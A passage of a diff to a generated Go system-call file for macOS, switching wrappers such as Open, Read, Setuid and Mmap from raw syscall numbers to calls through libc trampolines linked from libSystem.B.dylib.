- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(whence))
- newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
